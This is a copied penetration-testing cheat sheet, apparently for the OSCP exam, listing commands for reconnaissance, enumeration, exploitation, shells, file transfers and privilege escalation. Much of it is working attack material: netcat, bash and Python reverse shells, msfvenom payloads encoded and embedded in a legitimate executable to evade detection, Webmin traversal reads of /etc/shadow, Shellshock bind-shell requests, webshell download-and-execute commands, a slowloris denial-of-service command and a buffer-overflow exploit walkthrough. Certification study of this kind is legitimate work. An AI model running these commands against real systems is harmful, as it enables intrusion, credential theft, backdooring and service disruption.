This is a clone of frizb/OSCP-Survival-Guide


NOTE: This document refers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=

Table of Contents

Kali Linux

  • Set the Target IP Address to the $ip system variable
    export ip=

  • Find the location of a file
    locate sbd.exe

  • Search through directories in the $PATH environment variable
    which sbd

  • Find a search for a file that contains a specific string in it’s name:
    find / -name sbd\*

  • Show active internet connections
    netstat -lntp

  • Change Password

  • Verify a service is running and listening
    netstat -antp |grep apache

  • Start a service
    systemctl start ssh

    systemctl start apache2

  • Have a service start at boot
    systemctl enable ssh

  • Stop a service
    systemctl stop ssh

  • Unzip a gz file
    gunzip access.log.gz

  • Unzip a tar.gz file
    tar -xzvf file.tar.gz

  • Search command history
    history | grep phrase_to_search_for

  • Download a webpage

  • Open a webpage

  • String manipulation

    • Count number of lines in file
      wc -l index.html

    • Get the start or end of a file
      head index.html

      tail index.html

    • Extract all the lines that contain a string
      grep "href=" index.html

    • Cut a string by a delimiter, filter results then sort
      grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

    • Using Grep and regular expressions and output to a file
      cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

    • Use a bash loop to find the IP address behind each host
      for url in $(cat list.txt); do host $url; done

    • Collect all the IP Addresses from a log file and sort by frequency
      cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

  • Decoding using Kali

    • Decode Base64 Encoded Values

      echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

    • Decode Hexidecimal Encoded Values
      echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

  • Netcat - Read and write TCP and UDP Packets

    • Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):

    • Connect to a POP3 mail server
      nc -nv $ip 110

    • Listen on TCP/UDP port
      nc -nlvp 4444

    • Connect to a netcat port
      nc -nv $ip 4444

    • Send a file using netcat
      nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

    • Receive a file using netcat
      nc -nlvp 4444 > incoming.exe

    • Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that…

      whereis nc
      nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
      /bin/nc.traditional -e /bin/bash 4444
    • Create a reverse shell with Ncat using cmd.exe on Windows
      nc.exe -nlvp 4444 -e cmd.exe


      nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

    • Create a reverse shell with Ncat using bash on Linux
      nc -nv $ip 4444 -e /bin/bash

    • Netcat for Banner Grabbing:

      echo "" | nc -nv -w1 <IP Address> <Ports>

  • Ncat - Netcat for Nmap project which provides more security avoid IDS

    • Reverse shell from windows using cmd.exe using ssl
      ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

    • Listen on port 4444 using ssl
      ncat -v $ip 4444 --ssl

  • Wireshark

    • Show only SMTP (port 25) and ICMP traffic:

      tcp.port eq 25 or icmp

    • Show only traffic in the LAN (192.168.x.x), between workstations and servers – no Internet:

      ip.src== and ip.dst==

    • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

      ip.src != && ip.dst != && sip

    • Some commands are equal

      ip.addr ==


      ip.src == or ip.dst ==

      ip.addr !=


      ip.src != or ip.dst !=

  • Tcpdump

    • Display a pcap file
      tcpdump -r passwordz.pcap

    • Display ips and filter and sort
      tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

    • Grab a packet capture on port 80
      tcpdump tcp port 80 -w output.pcap -i eth0

    • Check for ACK or PSH flag set in a TCP packet
      tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

  • IPTables

    • Deny traffic to ports except for Local Loopback

      iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

      iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

    • Clear ALL IPTables firewall rules

      iptables -P INPUT ACCEPT
      iptables -P FORWARD ACCEPT
      iptables -P OUTPUT ACCEPT
      iptables -t nat -F
      iptables -t mangle -F
      iptables -F
      iptables -X
      iptables -t raw -F iptables -t raw -X

Information Gathering & Vulnerability Scanning

  • Passive Information Gathering

  • Google Hacking

    • Google search to find website sub domains

    • Google filetype, and intitle
      intitle:"netbotz appliance" "OK" -filetype:pdf

    • Google inurl

    • Google Hacking Database:

  • SSL Certificate Testing

  • Email Harvesting

    • Simply Email
      git clone

      ./ -all -e TARGET-DOMAIN

  • Netcraft

  • Whois Enumeration

    whois $ip

  • Banner Grabbing

    • nc -v $ip 25

    • telnet $ip 25

    • nc TARGET-IP 80

  • Recon-ng - full-featured web reconnaissance framework written in Python

    • cd /opt; git clone https://[email protected]/LaNMaSteR53/recon-ng.git

      cd /opt/recon-ng


      show modules


  • Active Information Gathering

  • Port Scanning

Subnet Reference Table

/ Addresses Hosts Netmask Amount of a Class C
/30 4 2 1/64
/29 8 6 1/32
/28 16 14 1/16
/27 32 30 1/8
/26 64 62 1/4
/25 128 126 1/2
/24 256 254 1
/23 512 510 2
/22 1024 1022 4
/21 2048 2046 8
/20 4096 4094 16
/19 8192 8190 32
/18 16384 16382 64
/17 32768 32766 128
/16 65536 65534 256
  • Set the ip address as a variable
    export ip= nmap -A -T4 -p- $ip

  • Netcat port Scanning
    nc -nvv -w 1 -z $ip 3388-3390

  • Discover active IPs usign ARP on the network: arp-scan $ip/24

  • Discover who else is on the network

  • Discover IP Mac and Mac vendors from ARP
    netdiscover -r $ip/24

  • Nmap stealth scan using SYN
    nmap -sS $ip

  • Nmap stealth scan using FIN
    nmap -sF $ip

  • Nmap Banner Grabbing
    nmap -sV -sT $ip

  • Nmap OS Fingerprinting
    nmap -O $ip

  • Nmap Regular Scan:
    nmap $ip/24

  • Enumeration Scan
    nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

  • Enumeration Scan All Ports TCP / UDP and output to a txt file
    nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

  • Nmap output to a file:
    nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

  • Quick Scan:
    nmap -T4 -F $ip/24

  • Quick Scan Plus:
    nmap -sV -T4 -O -F --version-light $ip/24

  • Quick traceroute
    nmap -sn --traceroute $ip

  • All TCP and UDP Ports
    nmap -v -sU -sS -p- -A -T4 $ip

  • Intense Scan:
    nmap -T4 -A -v $ip

  • Intense Scan Plus UDP
    nmap -sS -sU -T4 -A -v $ip/24

  • Intense Scan ALL TCP Ports
    nmap -p 1-65535 -T4 -A -v $ip/24

  • Intense Scan - No Ping
    nmap -T4 -A -v -Pn $ip/24

  • Ping scan
    nmap -sn $ip/24

  • Slow Comprehensive Scan
    nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24

  • Scan with Active connect in order to weed out any spoofed ports designed to troll you
    nmap -p1-65535 -A -T5 -sT $ip

  • Enumeration

  • DNS Enumeration

    • NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip range>

    • Host Lookup
      host -t ns

    • Reverse Lookup Brute Force - find domains in the same range
      for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

    • Perform DNS IP Lookup
      dig a @nameserver

    • Perform MX Record Lookup
      dig mx @nameserver

    • Perform Zone Transfer with DIG
      dig axfr @nameserver

    • DNS Zone Transfers
      Windows DNS zone transfer

      nslookup -> set type=any -> ls -d

      Linux DNS zone transfer

      dig axfr

    • Dnsrecon DNS Brute Force
      dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

    • Dnsrecon DNS List of megacorp
      dnsrecon -d -t axfr

    • DNSEnum

  • NMap Enumeration Script List:

  • NFS (Network File System) Enumeration

    • Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip
  • RPC (Remote Procedure Call) Enumeration

    • Connect to an RPC share without a username and password and enumerate privledges rpcclient --user="" --command=enumprivs -N $ip

    • Connect to an RPC share with a username and enumerate privledges rpcclient --user="<Username>" --command=enumprivs $ip

  • SMB Enumeration

    • SMB OS Discovery
      nmap $ip --script smb-os-discovery.nse

    • Nmap port scan
      nmap -v -p 139,445 -oG smb.txt $ip-254

    • Netbios Information Scanning
      nbtscan -r $ip/24

    • Nmap find exposed Netbios servers
      nmap -sU --script nbstat.nse -p 137 $ip

    • Nmap all SMB scripts scan

      nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

    • Nmap all SMB scripts authenticated scan

      nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

    • SMB Enumeration Tools
      nmblookup -A $ip

      smbclient //MOUNT/share -I $ip -N

      rpcclient -U "" $ip

      enum4linux $ip

      enum4linux -a $ip

    • SMB Finger Printing
      smbclient -L //$ip

    • Nmap Scan for Open SMB Shares
      nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445

    • Nmap scans for vulnerable SMB Servers
      nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

    • Nmap List all SMB scripts installed
      ls -l /usr/share/nmap/scripts/smb*

    • Enumerate SMB Users

      nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14


      python /usr/share/doc/python-impacket-doc/examples / $ip

    • RID Cycling - Null Sessions $ip 500 50000 dict.txt

    • Manual Null Session Testing

      Windows: net use \\$ip\IPC$ "" /u:""

      Linux: smbclient -L //$ip

  • SMTP Enumeration - Mail Severs

    • Verify SMTP port using Netcat
      nc -nv $ip 25
  • POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

     [email protected]:~# telnet $ip 110
     +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready 
     USER billydean    
     PASS password
     +OK Welcome billydean
     +OK 2 1807
     1 786
     2 1021
     retr 1
     +OK Message follows
     From: [email protected]
     Dear Billy Dean,
     Here is your login for remote desktop ... try not to forget it this time!
     username: billydean
     password: PA$$W0RD!Z
  • SNMP Enumeration -Simple Network Management Protocol

    • Fix SNMP output values so they are human readable
      apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

    • SNMP Enumeration Commands

      • snmpcheck -t $ip -c public

      • snmpwalk -c public -v1 $ip 1|

      • grep hrSWRunName|cut -d\* \* -f

      • snmpenum -t $ip

      • onesixtyone -c names -i hosts

    • SNMPv3 Enumeration
      nmap -sV -p 161 --script=snmp-info $ip/24

    • Automate the username enumeration process for SNMPv3:
      apt-get install snmp snmp-mibs-downloader wget

    • SNMP Default Credentials

  • MS SQL Server Enumeration

    • Nmap Information Gathering

      nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

  • Webmin and miniserv/0.01 Enumeration - Port 10000

    Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

    `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`

    Test to see if webmin is running as root by grabbing /etc/shadow

    `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`
  • Linux OS Enumeration

    • List all SUID files
      find / -perm -4000 2>/dev/null

    • Determine the current version of Linux
      cat /etc/issue

    • Determine more information about the environment
      uname -a

    • List processes running
      ps -xaf

    • List the allowed (and forbidden) commands for the invoking use
      sudo -l

    • List iptables rules
      iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security

  • Windows OS Enumeration

    • net config Workstation

    • systeminfo findstr /B /C:”OS Name” /C:”OS Version”
    • hostname

    • net users

    • ipconfig /all

    • route print

    • arp -A

    • netstat -ano

    • netsh firewall show state

    • netsh firewall show config

    • schtasks /query /fo LIST /v

    • tasklist /SVC

    • net start


    • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    • dir /s pass == cred == vnc == .config

    • findstr /si password *.xml *.ini *.txt

    • reg query HKLM /f password /t REG_SZ /s

    • reg query HKCU /f password /t REG_SZ /s
  • Vulnerability Scanning with Nmap

  • Nmap Exploit Scripts

  • Nmap search through vulnerability scripts
    cd /usr/share/nmap/scripts/ ls -l \*vuln\*

  • Nmap search through Nmap Scripts for a specific keyword
    ls /usr/share/nmap/scripts/\* | grep ftp

  • Scan for vulnerable exploits with nmap
    nmap --script exploit -Pn $ip

  • NMap Auth Scripts

  • Nmap Vuln Scanning

  • NMap DOS Scanning
    nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true

  • Scan for coldfusion web vulnerabilities
    nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

  • Anonymous FTP dump with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254

  • SMB Security mode scan with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254

  • File Enumeration

    • Find UID 0 files root execution

    • /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null

    • Get handy linux file system enumeration script (/var/tmp)
      wget chmod +x ./ ./

    • Find executable files updated in August
      find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug

    • Find a specific file on linux
      find /. -name suid\*

    • Find all the strings in a file
      strings <filename>

    • Determine the type of a file
      file <filename>

  • HTTP Enumeration

    • Search for folders with gobuster:
      gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

    • OWasp DirBuster - Http folder enumeration - can take a dictionary file

    • Dirb - Directory brute force finding using a dictionary file
      dirb http://$ip/ wordlist.dict dirb <http://vm/>

      Dirb against a proxy

    • dirb [http://$ip/]( -p $ip:3129

    • Nikto
      nikto -h $ip

    • HTTP Enumeration with NMAP
      nmap --script=http-enum -p80 -n $ip/24

    • Nmap Check the server methods
      nmap --script http-methods --script-args http-methods.url-path='/test' $ip

    • Get Options available from web server curl -vX OPTIONS vm/test

    • Uniscan directory finder:
      uniscan -qweds -u <http://vm/>

    • Wfuzz - The web brute forcer

      wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test

      wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ

      wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"

      wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ

      Recurse level 3

      wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ

  • Open a service using a port knock (Secured with Knockd)
    for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x server_ip_address; done

  • WordPress Scan - Wordpress security scanner

    • wpscan –url $ip/blog –proxy $ip:3129
  • RSH Enumeration - Unencrypted file transfer system

    • auxiliary/scanner/rservices/rsh_login
  • Finger Enumeration

  • TLS & SSL Testing

    • ./ -e -E -f -p -y -Y -S -P -c -H -U $ip aha > OUTPUT-FILE.html
  • Proxy Enumeration (useful for open proxies)

    • nikto -useproxy http://$ip:3128 -h $ip
  • Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

  • The OpenVAS Vulnerability Scanner

    • apt-get update
      apt-get install openvas

    • netstat -tulpn

    • Login at:

Buffer Overflows and Exploits

  • DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)

  • Nmap Fuzzers:

    • NMap Fuzzer List

    • NMap HTTP Form Fuzzer
      nmap –script http-form-fuzzer –script-args ‘http-form-fuzzer.targets={1={path=/},2={path=/register.html}}’ -p 80 $ip

    • Nmap DNS Fuzzer
      nmap –script dns-fuzz –script-args timelimit=2h $ip -d

  • MSFvenom

  • Windows Buffer Overflows

    • Controlling EIP

       locate pattern_create
       pattern_create.rb -l 2700
       locate pattern_offset
       pattern_offset.rb -q 39694438
    • Verify exact location of EIP - [*] Exact match at offset 2606

      buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
    • Check for “Bad Characters” - Run multiple times 0x00 - 0xFF

    • Use Mona to determine a module that is unprotected

    • Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP

    • Use NASM to determine the HEX code for a JMP ESP instruction

      JMP ESP  
      00000000 FFE4 jmp esp
    • Run Mona in immunity log window to find (FFE4) XEF command

      !mona find -s "\xff\xe4" -m slmfc.dll  
      found at 0x5f4a358f - Flip around for little endian format
      buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
    • MSFVenom to create payload

      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
    • Final Payload with NOP slide

      buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
    • Create a PE Reverse Shell
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -o shell_reverse.exe

    • Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

    • Create a PE reverse shell and embed it into an existing executable
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

    • Create a PE Reverse HTTPS shell
      msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe

  • Linux Buffer Overflows

    • Run Evans Debugger against an app
      edb –run /usr/games/crossfire/bin/crossfire

    • ESP register points toward the end of our CBuffer
      add eax,12
      jmp eax
      83C00C add eax,byte +0xc
      FFE0 jmp eax

    • Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF

    • Find JMP ESP address
      “\x97\x45\x13\x08” # Found at Address 08134597

    • crash = “\x41” * 4368 + “\x97\x45\x13\x08” + “\x83\xc0\x0c\xff\xe0\x90\x90”

    • msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b “\x00\x0a\x0d\x20” –e x86/shikata_ga_nai

    • Connect to the shell with netcat:
      nc -v $ip 4444


  • Netcat Shell Listener

    nc -nlvp 4444

  • Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.

    (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
    (hint: sudo -l to see what you can run)
    • You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:

        ssh [email protected]$ip nc $localip 4444 -e /bin/sh
        enter user's password
        python -c 'import pty; pty.spawn("/bin/sh")'
        export TERM=linux

    python -c 'import pty; pty.spawn("/bin/sh")'

           python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);\["/bin/sh","-i"\]);'

    echo os.system('/bin/bash')

    /bin/sh -i

    perl —e 'exec "/bin/sh";'

    perl: exec "/bin/sh";

    ruby: exec "/bin/sh"

    lua: os.execute('/bin/sh')

    From within IRB: exec "/bin/sh"

    From within vi: :!bash or

    :set shell=/bin/bash:shell

    From within vim ':!bash':

    From within nmap: !sh

    From within tcpdump

     echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

    From busybox /bin/busybox telnetd -|/bin/sh -p9999

  • Pen test monkey PHP reverse shell

  • php-findsock-shell - turns PHP port 80 into an interactive shell

  • Perl Reverse Shell

  • PHP powered web browser Shell b374k with file upload etc.

  • Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell

  • Web Backdoors from Fuzzdb

  • Creating Meterpreter Shells with MSFVenom -


    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf


    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe


    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

    Web Payloads


    msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php


    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

    Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

    cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php


    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp


    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp


    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

    Scripting Payloads


    msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >


    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >


    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >


    For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

    Linux Based Shellcode

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Windows Based Shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Mac Based Shellcode

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

     use exploit/multi/handler
     set PAYLOAD <Payload name>
     set LHOST <LHOST value>
     set LPORT <LPORT value>
     set ExitOnSession false
     exploit -j -z

    Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

  • SSH to Meterpreter:

     use auxiliary/scanner/ssh/ssh_login
     use post/multi/manage/shell_to_meterpreter
  • SBD.exe

    sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.

  • Shellshock

    • Testing for shell shock with NMap

    [email protected]:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip

    ./ -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

    • Shell Shock SSH Forced Command
      Check for forced command by enabling all debug output with ssh

        ssh -vvv  
        ssh -i noob [email protected]$ip '() { :;}; /bin/bash'
    • cat file (view file contents)

        echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
    • Shell Shock run bind shell

       echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

File Transfers

  • Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.

  • Simple Local Web Servers

    • Run a basic http server, great for serving up shells etc
      python -m SimpleHTTPServer 80

    • Run a basic Python3 http server, great for serving up shells etc
      python3 -m http.server

    • Run a ruby webrick basic http server
      ruby -rwebrick -e “
      (:Port => 80, :DocumentRoot => Dir.pwd).start”

    • Run a basic PHP http server
      php -S $ip:80

  • Creating a wget VB Script on Windows:

  • Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

     echo Set args = Wscript.Arguments  >> webdl.vbs
     timeout 1
     echo Url = ""  >> webdl.vbs
     timeout 1
     echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
     timeout 1
     echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
     timeout 1
     echo xHttp.Open "GET", Url, False  >> webdl.vbs
     timeout 1
     echo xHttp.Send  >> webdl.vbs
     timeout 1
     echo with bStrm      >> webdl.vbs
     timeout 1
     echo 	.type = 1 '      >> webdl.vbs
     timeout 1
     echo 	.open      >> webdl.vbs
     timeout 1
     echo 	.write xHttp.responseBody      >> webdl.vbs
     timeout 1
     echo 	.savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
     timeout 1
     echo end with >> webdl.vbs
     timeout 1

    The file can be run using the following syntax:

    C:\temp\cscript.exe webdl.vbs

  • Mounting File Shares

    • Mount NFS share to /mnt/nfs
      mount $ip:/vol/share /mnt/nfs
  • HTTP Put
    nmap -p80 $ip –script http-put –script-args http-put.url=’/test/sicpwn.php’,http-put.file=’/var/www/html/sicpwn.php

  • Uploading Files

    • SCP

      scp [email protected]_host:directory1/filename1 [email protected]_host:directory2/filename2

      scp localfile [email protected]$ip:~/Folder/

      scp [email protected]:~

    • Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor

      davtest -move -sendbd auto -url http://$ip

      You can also upload a file using the PUT method with the curl command:

      curl -T 'leetshellz.txt' 'http://$ip'

      And rename it to an executable file using the MOVE method with the curl command:

      curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

    • Upload shell using limited php shell cmd
      use the webshell to download and execute the meterpreter
      [curl -s –data “cmd=wget -O /tmp/evil” http://$ip/files/sh.php
      [curl -s –data “cmd=chmod 777 /tmp/evil” http://$ip/files/sh.php
      curl -s –data “cmd=bash -c /tmp/evil” http://$ip/files/sh.php

    • TFTP
      mkdir /tftp
      atftpd –daemon –port 69 /tftp
      cp /usr/share/windows-binaries/nc.exe /tftp/
      C:\Users\Offsec>tftp -i $ip get nc.exe

    • FTP
      apt-get update && apt-get install pure-ftpd

      groupadd ftpgroup
      useradd -g ftpgroup -d /dev/null -s /etc ftpuser
      pure-pw useradd offsec -u ftpuser -d /ftphome
      pure-pw mkdb
      cd /etc/pure-ftpd/auth/
      ln -s ../conf/PureDB 60pdb
      mkdir -p /ftphome
      chown -R ftpuser:ftpgroup /ftphome/

      /etc/init.d/pure-ftpd restart

  • Packing Files

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

  • Linux Privilege Escalation

  • Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:

  • Try the obvious - Maybe the user is root or can sudo to root:


    sudo su

  • Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

    What users can login to this box (Do they use thier username as thier password)?:

    grep -vE "nologin|false" /etc/passwd

    What kernel version are we using? Do we have any kernel exploits for this version?

    uname -a

    searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

    What applications have active connections?:

    netstat -tulpn

    What services are running as root?:

    ps aux | grep root

    What files run as root / SUID / GUID?:

     find / -perm +2000 -user root -type f -print
     find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
     find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
     find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
     find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
     for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done  
     find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

    What folders are world writeable?:

     find / -writable -type d 2>/dev/null      # world-writeable folders
     find / -perm -222 -type d 2>/dev/null     # world-writeable folders
     find / -perm -o w -type d 2>/dev/null     # world-writeable folders
     find / -perm -o x -type d 2>/dev/null     # world-executable folders
